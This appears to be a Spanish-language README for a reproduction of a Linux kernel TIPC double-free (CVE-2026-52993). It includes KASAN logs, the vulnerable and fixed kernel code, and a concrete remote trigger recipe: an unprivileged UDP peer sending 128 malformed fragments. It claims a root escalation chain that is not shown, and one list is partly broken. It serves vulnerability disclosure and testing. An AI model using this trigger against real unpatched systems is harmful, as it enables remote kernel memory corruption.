Reproducción y exploit para un double-free de TIPC en Linux (CVE-2026-52993): disparadores KASAN remotos y locales, además de una cadena funcional de escalada de privilegios de uid-1000 a root.
Double-free / slab-use-after-free en la ruta de reensamblado de fragmentos TIPC del kernel de Linux, tipc_buf_append() en net/tipc/msg.c.
| Componente | net/tipc/msg.c — tipc_buf_append() / tipc_msg_validate() |
| Clase | CWE-415 double free (se manifiesta como slab-use-after-free) |
| Tipo | Double free (CWE-415), se manifiesta como slab-use-after-free |
| CVSS (Linux CNA) | 9.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (remoto); también alcanzable localmente |
| Introducido | d618d09a68e4 (v4.15) |
| Corregido | d293ca716e7d mainline |
| Corregido en (stable) | 5.10.258, 5.15.209, 6.1.175, 6.6.141, 6.12.91, 6.18.33, 7.0.10, 7.1 |
| Vulnerable en esta repro | linux 6.6.140 (último 6.6.y sin la corrección) |
| Control corregido | linux 6.6.141 |
El fallo es alcanzable de dos formas y ambas se demuestran contra el kernel vulnerable, con el kernel corregido como control de ataque idéntico:
| Topología | 6.6.140 (vulnerable) | 6.6.141 (corregido) |
|---|---|---|
Remoto: invitado atacante → invitado víctima a través de un cable virtual; el atacante no ejecuta TIPC, sin credenciales, fakepeer como uid 1000 CapEff=0, UDP simple | BUG: KASAN: slab-use-after-free in kfree_skb_reason ← tipc_buf_append, disparado en la softirq de recepción de la víctima (by task swapper/1/0, <IRQ>) | limpio — mismo handshake (DSC_RESP + RESET) y 12×128 fragmentos entregados, sin reporte |
Local: dos netns unidos por veth, inyección AF_PACKET (trigger.sh) | mismo reporte KASAN | limpio |
La fila remota es la prueba de explotabilidad: dos invitados QEMU que no
comparten nada más que un cable Ethernet virtual. El invitado atacante tiene un
kernel totalmente parcheado (6.6.141 — la máquina atacante es irrelevante para el
fallo), no configura TIPC (sin dirección de nodo, sin bearer), no posee cuenta ni
capacidad alguna, y no habla la pila TIPC: cada byte del ataque es producido por
un socket UDP de espacio de usuario (harness/fakepeer.c) ejecutado bajo
/dropuid 1000 1000.
Registros de evidencia:
logs/remote-6.6.140-vuln-victim.log / logs/remote-6.6.140-vuln-attacker.log — el disparador remoto, kernel vulnerablelogs/remote-6.6.141-fixed-victim.log / logs/remote-6.6.141-fixed-attacker.log — ataque idéntico, kernel corregido, sin reportelogs/local-6.6.140-vuln.log / logs/local-6.6.141-fixed.log — repro local en una sola VM + controllogs/remote-unauth-6.6.140.log, logs/remote-unauth-6.6.141-fixed.log — variante netns en una sola VM del ataque no autenticadologs/SUCCESS-instrumented-6.6.140.log — pr_infos de depuración temporales de TIPC mostrando las proporciones de reensambladologs/remote-diag-6.6.140-victim.log — contadores de entrega de paquetes usados para rastrear la peculiaridad de e1000 (abajo)Lado atacante de la ejecución remota (logs/remote-6.6.140-vuln-attacker.log):
=== attacker: the attack runs uid 1000, CapEff=0 ===
Uid: 1000 1000 1000 1000
CapEff: 0000000000000000
fakepeer: NO tipc, NO caps. uid=1000 victim=10.10.0.2:6118 me=10.10.0.1:6118 claiming tipc addr 0x01001001
fakepeer: <- frame len=56 user=7(LINK_PROTOCOL) type=1 prevnode=0x01001002 (link up)
fakepeer: sent 128 fragments (activate + frags over plain UDP)
Lado de la víctima (logs/remote-6.6.140-vuln-victim.log) — la corrupción se
atribuye al cable (softirq de recepción), no a ninguna tarea local:
BUG: KASAN: slab-use-after-free in kfree_skb_reason+0x2f/0x2d0
Read of size 4 at addr ffff888009ee9d14 by task swapper/1/0
...
Call Trace:
<IRQ>
kfree_skb_reason
tipc_buf_append
tipc_link_input
tipc_link_rcv
tipc_rcv
...
The buggy address belongs to the object at ffff888009ee9c40
which belongs to the cache skbuff_head_cache of size 224
The buggy address is located 212 bytes inside of
freed 224-byte region [ffff888009ee9c40, ffff888009ee9d20)
La lectura en +212 es sk_buff->users: el segundo kfree_skb() sobre la
cabeza reensamblada ya liberada — exactamente el doble free que el parche cierra.
Las ejecuciones locales producen el mismo informe con la ruta inject/trigger.sh
(pilas de KASAN en logs/local-6.6.140-vuln.log).
La ejecución de instrumentación demuestra que el disparador supera la puerta de reasignación en esta ruta:
TIPCDBG buf_append LAST head=... len=3328 truesize=111360 roundup=4096 ratio=27
ratio=27 está muy por encima del umbral >= 4, por lo que tipc_msg_validate() realiza
la reasignación/liberación y la ruta vulnerable err: luego accede al skb
liberado.
tipc_msg_validate(&head) puede reasignar el skb que recibe y liberar el antiguo.
Dentro de tipc_buf_append() el argumento era la copia local head, no
el *headbuf del llamador. Si la reasignación ocurre y la validación luego falla,
la ruta err: libera *headbuf — que todavía apunta al skb antiguo, ya liberado.
Un objeto, liberado dos veces (los fragmentos añadidos cuelgan del frag_list
del head y se liberan a través de él):
if (fragid == LAST_FRAGMENT) {
TIPC_SKB_CB(head)->validated = 0;
if (unlikely(!tipc_msg_validate(&head))) /* &head: local copy! */
goto err;
...
}
err:
kfree_skb(*buf); /* NULL at this point */
kfree_skb(*headbuf); /* already freed by the validate() reallocation */
La corrección propaga el nuevo puntero de vuelta:
if (unlikely(!tipc_msg_validate(&head))) {
if (head != *headbuf)
*headbuf = head;
goto err;
}
La reasignación está condicionada por skb->truesize / buf_roundup_len(skb->len) >= 4, y el fallo posterior es cualquier fallo de validación ordinario. El disparador:
seqno == rcv_nxt), yEl skb de la víctima es al estilo de tipc_buf_acquire(): una pequeña cabeza lineal con un truesize grande (sobrecarga SKB_TRUESIZE) para un len diminuto. Añadir los diminutos fragmentos recibidos como page frags hace crecer truesize mientras buf_roundup_len() permanece fijado en su mínimo de 1024, por lo que el ratio asciende linealmente con el número de fragmentos. fakepeer.c/inject.c envían 128 fragmentos de 50 bytes en el cable (26 bytes de carga útil) con la cabecera interna del primer fragmento portando version = 1 en lugar de TIPC_VERSION = 2, de modo que la validación falla justo después de la reasignación.
+-----------------+ QEMU socket netdev +------------------+
| attacker guest | ======== virtual Ethernet =======> | victim guest |
| 10.10.0.1 | (127.0.0.1:<port>) | 10.10.0.2 |
| | | |
| kernel 6.6.141 | | kernel 6.6.140 |
| (fixed) | | (vulnerable) |
| NO TIPC config | -- LINK_CONFIG DSC_REQ --------> | tipc node 1.1.2 |
| fakepeer | -- LINK_PROTOCOL ACTIVATE -----> | udp bearer u0 |
| uid 1000 | -- MSG_FRAGMENTER × 128 -------> | :6118 |
| CapEff=0 | <- DSC_RESP / RESET ----------- | |
+-----------------+ +------------------+
harness/run-remote.sh arranca ambos invitados sobre un par de netdev socket de QEMU (un cable Ethernet virtual entre dos procesos QEMU; no se necesitan privilegios en el host) y ejecuta harness/fakepeer.c en el lado atacante. fakepeer habla lo justo del protocolo de cable TIPC sobre UDP simple: